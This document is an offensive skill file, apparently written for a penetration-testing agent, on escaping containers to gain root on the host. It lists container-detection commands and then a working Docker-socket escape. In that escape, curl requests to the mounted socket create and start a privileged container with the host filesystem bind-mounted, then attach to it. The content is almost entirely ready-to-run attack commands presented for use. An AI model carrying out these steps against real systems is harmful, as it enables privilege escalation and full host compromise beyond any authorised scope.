container-escapes

Container Escape Techniques

Overview

When you gain access inside a container, escaping to the host is often the path to root. This skill covers detection methods and escape techniques for various container environments.

Container Detection

Am I in a Container?

# Check for .dockerenv file
ls -la /.dockerenv

# Check cgroup
cat /proc/1/cgroup | grep -E "docker|lxc|kubepods"

# Check for container-specific environment
env | grep -i docker
env | grep -i kubernetes

# Hostname often reveals container ID
hostname
# Docker containers often have 12-char hex hostnames like "821fbd6a43fa"

# Check mount points
mount | grep -E "overlay|aufs"

# Check for limited process list
ps aux | wc -l
# Containers typically have very few processes

Container Type Detection

# Docker
cat /proc/1/cgroup | grep docker
ls /.dockerenv

# LXC/LXD
cat /proc/1/cgroup | grep lxc
ls /dev/lxd

# Kubernetes
ls /var/run/secrets/kubernetes.io
env | grep KUBERNETES

# Podman
cat /proc/1/cgroup | grep libpod

Docker Socket Escape

Detection

# Check if Docker socket is mounted
ls -la /var/run/docker.sock

# Test access
curl -s --unix-socket /var/run/docker.sock http://localhost/version

Exploitation

# List containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq

# Create privileged container with host filesystem
curl -s -X POST --unix-socket /var/run/docker.sock \
    -H "Content-Type: application/json" \
    http://localhost/containers/create \
    -d '{
        "Image": "alpine",
        "Cmd": ["/bin/sh"],
        "HostConfig": {
            "Binds": ["/:/host"],
            "Privileged": true
        }
    }'

# Start container (use ID from previous response)
curl -s -X POST --unix-socket /var/run/docker.sock \
    http://localhost/containers/<CONTAINER_ID>/start

# Run command in container
curl -s -X POST --unix-socket /var/run/docker.sock \
    -H "Content-Type: application/json" \
    http://localhost/containers/<CONTAINER_ID>/attach?stream=1&stdin=1&stdout=1&stderr=1